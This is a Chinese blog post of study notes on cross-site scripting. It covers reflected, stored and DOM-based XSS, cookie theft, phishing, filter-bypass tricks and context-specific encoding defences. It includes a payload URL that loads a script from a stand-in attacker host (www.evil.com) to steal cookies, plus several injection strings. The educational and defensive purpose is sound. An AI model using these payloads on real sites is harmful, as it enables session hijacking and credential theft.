人生太长,我们怕寂寞,人生太短,我们怕来不及。 ——张爱玲《半生缘》
定义与分类
定义:hacker通过“HTML注入”篡改网页,插入了恶意的脚本
本质:是一种”HTML注入”,用户传入的数据被当作HTML代码的一部分被执行
分类:
- 反射型XSS:发起请求时,XSS代码出现在URL中,作为输入提交到服务器,服务器解析后相应,在相应的内容中出现了这段XSS代码,最后浏览器解析执行。hacker需要诱导用户点击一个恶意链接才能攻击成功(因为hacker需要以受害者的身份提交一个含payload的url,例如盗取cookie、构造请求等)
- 存储型XSS:把用户输入的数据存储在服务端,例如,hacker写了一个含有恶意脚本的博客,博客存储在服务器,每一个访问该博客的用户都会执行这个恶意脚本
- DOM Based XSS:它不需要服务器的解析响应的直接参与,触发考的是浏览器的DOM解析
一般来说,存储型XSS更危险,它存储来服务器中,可能会跨页面存在,它不会改变URL的原有结构,因此有时能逃过一些IDS(入侵检测系统)的检测
XSS Payload
Cookie劫持
场景:hacker需要让用户执行脚本http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>
(可以用反射型XSS,诱导用户点击链接;也可以用存储型XSS,诱导用户访问页面)
其中,evil.js
内容为:
1 | var img = document.createElement("img"); |
其中的这个图片不一定要存在,因为这个请求会在远程服务器(可能是hacker自己的电脑)日志中留下记录
hacker首先要想办法获取你的cookie,但如果他直接copy到自己的cookie目录,浏览器是不认的,因为浏览器有一个index.dat
文件,里面存储了cookie文件的创建时间以及是否有修改,所以还要想办法从时间上骗过浏览器
Tips
- escape():将字符串编码,以便在所有计算机上都可以读取。但已经渐渐被废弃了,使用
encodeURI
或encodeURIComponent
代替 - 请求会在服务器的web日志中留下记录
构造GET POST请求(和CSRF有点像,但原理是不同的)
模拟POST请求发出表单的2种方法
- 构造form表单,自动提交
- 通过XMLHttpRequest发送一个POST请求
XSS 钓鱼
- 绕过用户名和密码:在当前页面伪造一个登录框,当用户输入用户名、密码时,数据会发送到hacker的服务器上
- 绕过验证码:XSSPayload把验证码的url发送给hacker,hacker再把验证码返还给XSSPayload
获取用户信息
识别用户浏览器
用window的navigator子对象来搜集信息:
但navigator是可以被伪造的,所以一般要找到几个浏览器独有的对象,才能准确识别出浏览器的大版本
识别用户安装的软件
收集常见软件的classid可以扫描出电脑是否安装了该软件,甚至可以扫描出软件的版本
获取用户真实的IP地址
- XSS需要借助一些第三方的软件来完成
- 比如客户端有JRE环境,XSS可以通过调用JavaApplet的接口来获取客户端本地IP地址
- metasploit引擎有一个测试页面,综合了很多第三方软件的功能,用于抓取用户本地信息
XSS构造技巧
注:一般情况下,如果只用JS,是没办法控制浏览器发出的HTTP头的
利用字符编码
为了防止被XSS攻击,如果你在浏览器中,输入给DOM变量的内容中,存在双引号,浏览器会自动帮你转义过来。一些hacker正是利用这一点,例如传输%c1";alert(/XSS/);//
给DOM变量,那么通过浏览器转义后,变成%c1\";alert(/XSS/);//
,而%c1\
其实是unicode中的一个字符编码,所以被解析后,转义符号\
相当于被%c1
吃掉了,从而传入了真正的双引号进入变量,从而实现了XSS攻击
绕过长度限制
为了防止hacker传入payload给DOM变量,可能会对DOM变量的长度做限制,这样可以截断hacker的payload,使其失效。
hacker的应对措施:
优化JavaScript代码
用一些event(例如onclick)来代替<script>
标签,从而减少代码长度
把代码写在“location.hash”
- 根据http协议,location.hash的内容不会随http包发送,自然不会在服务器的web日志中留下记录
- 例如,可以传入
"onclick = "eval(location.hash.substring(1))
,其中,eval会计算字符串并执行其中的JS代码,因为location.hash的第一个字符是#,所以要去掉。location.hash本身没有长度限制,但url有,如果还需要更长的空间,可以考虑加载远程代码 - 具体问题具体分析,例如:
hacker要给2个变量传值
1 | <input id = 1 type = "text" value = "" /> |
其中,第一个限制只能传输小于等于6个字节的值,第二个允许写入更多的字节。那么,hacker在第一个input中输入"><!--
,在第二个input中输入--><script>alert(/XSS/);<script>
,效果如下:
1 | <input id = 1 type = "text" value = ""><!--" /> |
相当于,通过注释符号,打通了2个变量,给第一个变量赋予了更多的值,同时也把自己的payload给了第一个变量
使用<base>
标签
- 作用:定义页面上使用相对路径的标签的hosting地址
- 作用范围:从
<base>
标签出现,到最后 - hacker可以给网页插入
<base>
标签,写上自己服务器的hosting,然后在自己的服务器上伪造图片链接等等
使用window.name
window对象不同于document对象,很多时候不受同源策略的限制。例如:
www.a.com/test.html
代码:
1 | <body> |
www.b.com/test1.html
代码:
1 | <body> |
成功把a网站的cookie,在b网站显示了出来!
回旋镖
- 反射型XSS也可以像存储型XSS一样使用,方法就是把反射型XSS嵌入存储型XSS中
- 因为浏览器的同源策略的原因,A域上的XSS很难影响到B域上的用户
- 如果在A域中存在一个存储型XSS_A,B域中存在一个反射型XSS_B,那么在访问A域时,会触发XSS_B,从而实现A域的XSS攻击B域的效果
其他方面
用Flash也可以进行XSS攻击,在JS的开发框架(例如jQuery)中,也会存在XSS漏洞
XSS的防御
HttpOnly
- HttpOnly解决的Cookie劫持攻击
- 方法:浏览器禁止页面的JavaScript访问带有HttpOnly属性的Cookie
输入检查
- 有一点类似于“白名单”的检查方式,比如用户在创建用户名和密码的时候,会有格式规定
- 输入检查的逻辑一定要在服务端,如果只在客户端,很容易被hacker绕过。现在普遍的做法是:在服务端和客户端做相同的逻辑检查,客户端的逻辑检查用以阻挡误操作的正常用户,减轻服务端的负担,服务端的逻辑检查保证安全性
- XSS Filter:用以检查敏感字符,比如
<
、>
等。但XSS Filter往往不够智能,因为在检查变量时,还不知道变量的输出语境,所以有时候无法阻挡危险数据,有时候会对普通数据造成意想不到的影响
注:因为XSS攻击发生在MVC框架中的View层,所以输入检查并不是在真正发生攻击的地方作防御。所以输入检查只能算是奇招,在一些特殊的情况下,确实有奇效
处理富文本
- 有些时候,网站需要用户自己提交富文本,例如在论坛里发帖,帖子里有照片、视频、表格等,这些都需要通过HTML代码来实现
- 因为用户提交数据的语境,实在一开始就完整清楚的,所以可以设计出一个相对比较完善的XSS Filter
- XSS Filter应该过滤事件、
<iframe>
、<script>
等,但在标签的选择上,最好使用白名单,避免使用黑名单,例如:只允许<a>
、<img>
、<div>
等比较安全的标签
- XSS Filter应该过滤事件、
输出检查
- 富文本:一种文本格式。特点是所见即所得
- 除了富文本的输出外,在变量输出到页面时,可以用编码或转义的方式防御XSS攻击
安全的编码函数
- HTML : HtmlEncode()
- URL : URLEncode(),将字符转换为
%HH
的形式 - PHP : htmlentites(),htmlspecialchars()
- JavaScript : JavascriptEncode()
- JavascriptEncode:要用
\
对特殊字符进行转义,要求输出的变量必须在引号内部 - 更加严格的JavascriptEncode:除了数字、字母外的所有字符,都适用十六进制
\xHH
的方式进行编码
在正确的地方使用正确的编码方式
- XSS攻击发生在MVC架构中的View层
- 实例:在Python的框架
web2py
和Django
中,会默认使用HtmlEncode
编码,但这也并不是天衣无缝的
页面代码:
1 | <body> |
如果用户输入:
1 | &var = htmlencode("');alert('2") |
注意这里:传给htmlencode函数的是字符串“);alert(‘2”
这样,对变量在进行HtmlEncode编码,相当于什么都没有变,对于浏览器来说,htmlparser会优先于JavaScript Parser的执行,所以解析过程是被htmlencode的字符先被解码,然后再执行JavaScript事件。
相当于经过htmlparser解析后得到:
1 | <body> |
XSS攻击成功
XSS防御的正确打开方式
如果想要根治一个漏洞,就要从漏洞的本质着手。
根据XSS本质,用户输入的变量,它可能被填充到html代码的各种各样的地方,具体问题需要具体分析
在HTML标签中输出
场景:
1 | <div>$var</div> |
hacker输入:
1 | $var = <script>alert(/xss/)</script> |
或者
1 | <img src=# onerror=alert(/xss/) /> |
防御方法:对变量使用HtmlEncode
在html属性中输出
场景:
1 | <div id="abc" name="$var" ></div> |
hacker输入:
1 | $var = "> <script>alert(/xss/)</script> <" |
防御方法:对变量使用HtmlEncode
或者用更加严格的JavascriptEncode:除了数字、字母外的所有字符,都适用十六进制\xHH
的方式进行编码
在<script>
标签中输出
场景:
1 | <script> |
在攻击时,确保语法正确,确保输出的变量在引号内(这是JavascriptEncode规定的)
hacker输入:
1 | ";alert(/xss/); // |
防御方法:对变量使用JavascriptEncode
在事件中输出
场景:
1 | <a href=# onclick="funcA('var')" >test</a> |
hacker输入:
1 | ');alert(/xss/);// |
防御方法:对变量使用JavascriptEncode
在CSS中输出
- CSS中的XSS方式非常多样化,一般情况下,尽可能地禁止用户输入的变量在“
<style>
标签”、“HTML标签的style属性”和“CSS文件”中输出 - 如果一定需要的话,建议使用OWASP ESAPI提供的
encodeForCSS()
函数,这个函数会把除数字、字母外的所有字符编码为十六进制\uHH
在地址中输出
URL = Protocal + Host + Path + Search + Hash
在Path或者Search中输出
场景:
1 | <a href="http:/www.evil.com/?test=$var" >test</a> |
hacker输入:
1 | $var = "onclick = alert(/xss/)" |
防御方法:对变量使用URLEncode
但是,Protocol和Host不能用URLEncode,因为会把“://”、“.”都编码掉,改变了URL的语义
伪协议的XSS
场景:
1 | <a href="$var" >test</a> |
hacker输入:
1 | $var = javascript:alert(/xss/); |
除了javascript
,还有vbscript
、dataURL
可以作为伪协议
防御方法:检查变量开头是不是http,如果不是,自动加上
防御DOM Based XSS
- 一般的XSS:服务器应用直接输数据出到HTML页面
- DOM Based XSS:JavaScript输出数据到HTML页面
所以之前的解决方式就不太适用
场景:
1 | <script> |
假如为了保护“$var”直接在<script>
产生XSS,服务器对变量进行javascriptEncode编码,但在执行document.write时,浏览器重新渲染了页面,在<script>
执行时,已经为x进行了解码,XSS自然就成功了
防御方法:在“$var”输入到<script>
时,执行一次JavaScriptEncode;其次,在document.write输出到HTML页面时:如果输出到事件或者脚本,再进行一次JavaScriptEncode;如果输出到HTML内容或者属性,就再做一次HtmlEncode
从JavaScript输出到HTML的必经之路
- document.write()
- document.writeln()
- xxx.innerHTML =
- xxx.outerHTML =
- innerHTML.replace
- document.attachEvent()
- window.attachEvent()
- document.location.replace()
- document.location.assign()
- 等等
需要关注上面这几个地方的参数是否可以被用户控制
还有下面这些地方也可以成为DOM Based XSS的输入点:
- 页面中所有的input框
- window.location(href、hash等)
- window.name
- document.referrer
- document.cookie
- localstorage
- XMLHttpRequest返回的数据
- 等等
本文链接: https://bano247.com/2021/10/31/跨站脚本攻击(XSS)/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!